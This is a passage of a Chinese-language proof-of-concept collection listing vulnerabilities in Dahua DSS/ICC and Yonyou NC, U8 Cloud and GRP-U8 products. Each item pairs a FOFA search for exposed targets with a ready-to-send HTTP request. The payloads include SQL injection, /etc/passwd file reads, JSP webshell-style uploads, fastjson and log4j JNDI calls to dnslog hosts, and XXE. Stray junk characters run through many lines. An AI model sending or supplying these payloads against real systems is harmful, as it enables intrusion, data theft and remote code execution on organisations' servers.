Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  R( N  X- \0 `0 EConnection: close
Content-Length: 345
Accept-Encoding: gzip
3 d1 j0 O5 ^* {0 L1 X
- d. E: J) g; x# i! s<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
$ {) Z2 {, w3 n: ^; I5 z1 _      <netMarkings>
* R) s: E1 ^7 r$ y+ t9 M( }       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
+ J4 M- q6 `& l' ~# k/ S% }# F9 U
4 V4 W0 h8 d. v/ T* ?
2 Q# A* d0 c. Z9 {6 o  V18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
2 l# j( P5 V5 s& ZGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
- x9 ?: |2 [" S3 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
  I+ {: A6 e+ N- {

6 Y: t- @$ T1 i- ?& X3 n5 Q
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
) ?* C- g1 x( S3 A8 g' I& U: ~3 ^GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
3 X1 k4 K8 _( ?0 ]8 c4 @" GHost:
2 Z& ?' |! `5 ]  U' j; a* PUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
! i% G" b& M8 c3 W; Z4 u. w. {Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
+ t; r$ g( U, ^. Z2 }* y& @+ X
2 ]5 M. K/ P) ^6 O# }3 T7 X( N1 N
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 `: Z: N' F, h2 v: ^: l! rConnection: close
$ b: ]- @5 }6 F; m4 SAccept: */*
# \2 t* b; M  {4 W- zAccept-Language: en
. I! h  e; b1 _. V3 x, V) z1 pAccept-Encoding: gzip
( G0 z  o, V8 s0 {
/ S: t# G( H. K2 \9 j- t
21. 大华ICC智能物联综合管理平台random远程代码执行
- r: K" V3 X7 q% L/ r7 ]( H8 X- T4 fFOFA：icon_hash="-1935899595"
0 Z" h& C9 q: t8 V0 Y  A! t; _( RPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
9 Q  r& s5 U! y( o7 f3 JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
1 Z# h2 _0 I$ d, }2 t* N( bConnection: close
Content-Type: application/json;charset=utf-8

6 r) `' ]5 M1 Z, j0 U/ |{
, {. N$ o6 n/ D9 }"a":{
3 C3 |- V5 g( t% v) F   "@type":"com.alibaba.fastjson.JSONObject",
; o. u9 B$ ]; r: ~    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
% ^7 r, G& l. r; J: T6 ]1 T  }""
}
" W" C! O4 u5 x) H
- N/ i" }& ]# _6 N9 h4 c
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
# n# f% B9 J- i; m/ }' rHost: your-ip
; F4 t' @+ L, W8 c' Z$ p2 `- U, lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
: @& C3 _- J  L: C"loginName":"${jndi:ldap://dnslog}"
* k* d- z8 w; O}
) o/ c$ f% ~; l0 ^: w


23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
, G2 Z; ?9 R9 {4 VFOFA：icon_hash="-1935899595"
. [8 ^1 @) ?  ~+ hPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
' S: g! J/ o  R  y- L+ O( rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ x8 k/ ]# a/ t1 u& n7 RContent-Type: application/json;charset=utf-8
4 K/ i7 u2 p/ m- C# L* W7 M; K  SAccept-Encoding: gzip
Connection: close
' }) S. s* d/ {( G' }! {$ n
0 E/ N  c5 X  g" F4 L{
) r' k7 @2 F9 y  R4 g/ A    "a":{
0 m" N% k4 y" j% l        "@type":"com.alibaba.fastjson.JSONObject",
' a& E% p! P( O) {       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}


24. 用友NC 6.5 accept.jsp任意文件上传
+ v, J# R6 T9 _( QFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
$ F4 l2 L0 S# v: EHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
# v5 ^; s% O' g1 g2 fAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
$ `* M4 Y- }# S% F1 h9 CContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
: L+ y1 E9 x# h9 ]
+ j+ `3 G. {0 o<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
  N9 v  K0 a/ w# K. T# N
! v5 j6 T8 @% L% M: \; w# {# K\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
7 \+ q5 B- c* APOST /portal/registerServlet HTTP/1.1
" d3 |- H/ {2 F/ ?0 ^: aHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
0 a. o1 Z# h' X0 f) P# `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
/ z3 \# k& m1 x: f: R3 ]4 n6 ?& DAccept-Encoding: gzip, deflate
  q+ ~5 U7 A4 T! @0 m9 mAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

5 w: G( P6 i$ Gtype=1&dsname=ldap://dnslog
7 e  N! c9 T- Q2 @/ ~, n" y


/ u" P$ R7 L9 U! w* V$ b26. 用友NC linkVoucher SQL注入
1 C/ m0 D$ c# I) y+ W5 m1 yFOFA：app="用友-UFIDA-NC"
1 u* h$ E: T% z" VGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
6 P; |" d% t, E# b9 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
- N0 T% H7 R* {( J' C8 f3 C2 o: IAccept: */*
Connection: keep-alive


27. 用友 NC showcontent SQL注入
# l0 O2 n4 `4 G1 z# gFOFA：icon_hash="1085941792"
; `3 ]4 L, Q) e$ }8 S$ bGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
. w4 L' k2 s* E/ G. f( hHost: your-ip
2 O- [# D0 k4 Q: P# W! kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
) l! S% B# X3 z; q- ]6 sConnection: close
Content-Type: text/xml; charset=utf-8
# U7 h) S" R0 b& o$ l% t. _

$ n6 A& T1 [. S9 r28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
+ ~$ s5 k8 g. }( `* Q2 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
3 H  c9 E; K" q5 u1 n4 VContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
  P( Q+ P# ~' r9 j1 ^7 O' |; W
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
1 Z, Y4 V; }- R3 ]) l
) E& F1 m* N/ u8 f1 J$ o4 M<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
3 G5 o# q+ o# `------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

+ w( h& l1 B5 a+ U
3 S! a  {0 e0 d" s. ]  C' Y$ t% r/uapim/static/pages/nc/head.jsp
+ u9 S+ |2 A9 E  @
5 w3 H) i) b( A% P) \7 P29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
2 [$ _! z* G$ t& T! HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& \% s, F  W- UContent-Type: application/x-www-form-urlencoded
' j' o( h9 k) {+ xAccept-Encoding: gzip, deflate
0 d) D1 Y1 Q1 U8 [* e) N7 WAccept: */*
: K! R5 R7 x9 r% l/ |Connection: keep-alive
: I! S3 H5 q( P* n& t3 |8 r* Z
+ _1 J$ {3 c9 j8 @% i, l
, y0 Q& |9 E. ]$ B30. 用友NC importPml SQL注入
* }, m) a2 R5 }  f: K# x3 CFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
' O1 a: {$ i$ ~8 D4 m4 v) VPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
* h$ ~7 @- ]' UContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
/ i% z( J) j/ n; p0 L2 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
  Q" @" `: Q  T; IContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
  Q' ?( @- a6 I7 P9 @5 b. m6 S------WebKitFormBoundaryH970hbttBhoCyj9V--
- l# j9 ]1 U" H- f
( N' A. n6 y" q4 x  [
7 y3 T6 M$ J9 P( J  o& }2 Z, G31. 用友NC runStateServlet SQL注入
- [* O& h- t% L. |* R, ~version<=6.5
; M" {6 A  y0 v$ e" N; j- s1 b! rFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
& t3 g9 B% ~, V' q; hContent-Type: application/x-www-form-urlencoded

1 u( R2 S4 A+ ?3 ^
+ j! [3 w) w/ O0 G32. 用友NC complainbilldetail SQL注入
/ m$ j( i% T) R1 V2 Iversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
: _- z* L& C' _0 j3 R- KAccept-Encoding: gzip, deflate
Accept: */*
* ~" E4 ^- f9 Y9 X1 ?7 C  J* k+ bConnection: keep-alive

$ k1 N2 D6 @- w: {. z" J
33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 ~. P$ b+ |: T7 D! aHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; \4 G8 I, g% @* mContent-Type: application/x-www-form-urlencoded
( B4 Q; A) F7 p# K5 H* T4 H! eAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

* i# l& E0 f% A8 H
3 }6 p* _4 {) t, t0 t34. 用友NC warningDetailInfo接口SQL注入
$ U! f/ H) Z8 ?# D2 S1 Y- }8 wFOFA：app="用友-UFIDA-NC"
1 L" o6 t; X" KGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: M) R& t4 h5 ?" y8 }2 S* s* u% wContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
% T7 |+ U& g, a0 N* cConnection: keep-alive
1 z' k9 N% ^5 t2 U; m
- [5 k4 L$ j+ c. J1 _3 L8 n
35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
, g( U' M% q# g+ j/ N6 J6 t6 T- THost: 203.25.218.166:8888
4 m% @- _0 i5 V! ~' vUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
* N: p3 {* W. y6 X# D9 `. ZAccept-Encoding: gzip, deflate
1 L5 g; ], e) M  _5 B5 DAccept: */*
6 @; w9 ^; m; N- K" k& ]Connection: close
3 R1 G: Y  H$ m# UaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
  N7 j: o0 Y  g' x; tContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

1 i' K' O4 F4 j8 V) m; {8 u$ V
: Y) D& N; P' B0 P9 J36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
& r1 C5 L- a: }# @2 XPOST /uapws/soapFormat.ajax HTTP/1.1
8 y7 Y! }; H& D# kHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
$ R4 d4 Z# e- hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 o- G* [& M5 A; k- m' PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 H8 A( n( D/ a6 `Connection: close
Content-Type: application/x-www-form-urlencoded
5 ^1 T; \, y* x( z2 O( fUpgrade-Insecure-Requests: 1

: q8 M2 G, A: ^1 rmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
' W3 N8 S" e+ aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
+ q  k+ `8 T1 ]- ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
; u2 b9 w# U. CSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
! H; x% [% q$ E# U8 s$ `9 H# H$ B9 S<soapenv:Body>
<iup:getResult>
$ ^+ d9 \  y( _) l( @% j, _, Q<!--type: string-->
! G- O0 j& w% v$ u9 j5 g- }1 a" {* c<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
5 O; L# B' O7 }1 Q' \* p<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
9 p9 o) [# H* a. P8 a</soapenv:Envelope>
1 D* x; L2 H2 q# `$ i* J
" J+ {' F" A2 H( r* O- q# \
" X) X& @% K" e# s. T+ P
  S8 A6 Q- h) e: A38. 用友U8 Cloud smartweb2.RPC.d XXE
9 j; y# s0 W6 T( jFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
% v/ ~( g5 r6 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
2 [; G7 ^% s* ]- s1 kAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

# u9 ]  R3 Z- M" U1 u- N5 R; E
  _; G$ U& S* u6 E4 G- u% F: b39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
$ l4 ~$ M. [. n2 E9 D2 [POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
. j% W7 P, n5 D& s* J0 B' _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
" f3 S9 \7 h4 H3 t2 V7 @Connection: close
Content-Length: 85
4 ?$ T5 D( \5 W5 T; k. PAccept: */*
  s, X7 M1 T5 z3 o1 K  KAccept-Language: en
Content-Type: application/x-www-form-urlencoded
) P' t) ]0 g- }X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
4 D! l6 w5 t2 G3 k% b; k- [+ y
9 C* F. S) J/ D% Y% }8 L$ Q) h  Tusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
* \! v% Y* j) a4 P" |7 OFOFA：app="用友-U8-Cloud"
! C1 O2 A' o4 D, N+ }+ }" MPOST /service/XChangeServlet HTTP/1.1
( _7 u# b! U, VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


, V% g/ g! o8 R- }4 z( o41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
. ^0 N/ e4 I  P, v: sFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
0 ?( g& ]; f; @9 o: }0 KConnection: close


# r+ e" |5 h4 ?, `42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
6 I* ^$ \1 I% {* E2 m1 \6 i& [$ EHost: x.x.x.x
* ?- B/ \; H$ w1 A  _5 ^" r: J, XContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
/ ?8 @. W" `/ Z# V9 D: A  [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

% H+ }3 E$ O8 T5 Y0 c% n# APAYLOAD

# n- [7 G+ _6 F. E. ]  q
1 s! L6 U" Y  L: ^6 w3 ^; ghttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

: @( y; o8 m5 x* P43. 用友GRP-U8 userInfoWeb SQL注入致RCE
: M! i6 ]" ]" M1 ]FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) c% j: W9 h) ^! TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ y, p1 V4 s* k3 W: j* iAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

: F6 a2 e2 ~# `% P. z% ^<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
+ P! d' i5 P" H1 t7 w. x6 o   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
1 w/ n- m' e( j$ O0 }( H* A      </ser:getUserNameById>
   </soapenv:Body>
* a' y7 T8 k  a$ O4 d9 Q</soapenv:Envelope>
% j2 ~( @7 F) |9 f' o, X( o, a, h6 i
5 [  y* k* P/ ~
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
" K% t& x$ A9 h& m" k9 Z" ?Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# r; K5 d- o! {7 R* YAccept-Language: zh-CN,zh;q=0.9
: O$ D! t" j3 \% [% A; \Connection: close
( @, @9 z/ G0 t) A- U' L( }

5 l: r8 L2 ^" ]. }! f45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
" l- v( E7 j3 W' m9 u5 @5 SHost: 192.168.40.130:222
# o. _% O+ b6 G8 ]6 {0 E( CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
$ F( [' S0 o$ }, H* V; i) SContent-Length: 161
4 u; [4 ?+ t  z0 z& T2 T2 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- t' s' L) g1 c" w; [' z5 w2 ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# z2 N+ N/ j4 `7 p: bContent-Type: application/x-www-form-urlencoded
- g6 W# I" N! y% J7 KAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
6 i( O) Q/ ~2 ^: ~, e3 s<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

2 z4 i6 K" f1 z
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
/ a. Y8 M, E! O& D7 ?8 o$ W  H& wGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
! R6 y  i# z+ o+ l3 q: s6 FHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
" }, ^; z  M2 Y$ U  ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( b9 X9 E/ y: c. [6 Q  EAccept-Encoding: gzip, deflate
- o# w7 g9 d1 Z- L6 XAccept-Language: zh-CN,zh;q=0.9
8 }6 o1 r) k; a9 @. cConnection: close
6 p2 a: j6 e' c

47. 用友GRP A++Cloud 政府财务云 任意文件读取
+ H5 X4 n  w* v0 G4 k: wFOFA：body="/pf/portal/login/css/fonts/style.css"
5 E3 q' H; v. L- \3 @8 p' uGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
" s0 O! W  k- e( R9 h: E" u" SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
: ^3 \! w% y7 I6 `1 P! h/ GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
; V2 S# d! `- hAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
, }. w# j2 ]9 ^- T8 {9 NConnection: close
# g, G8 ]) T5 x! q# z" m  l$ |
& G  L1 m. A4 u+ c2 N6 P' w& {' u

48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
. C, _  E0 Q4 a7 C. B1 Q( HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
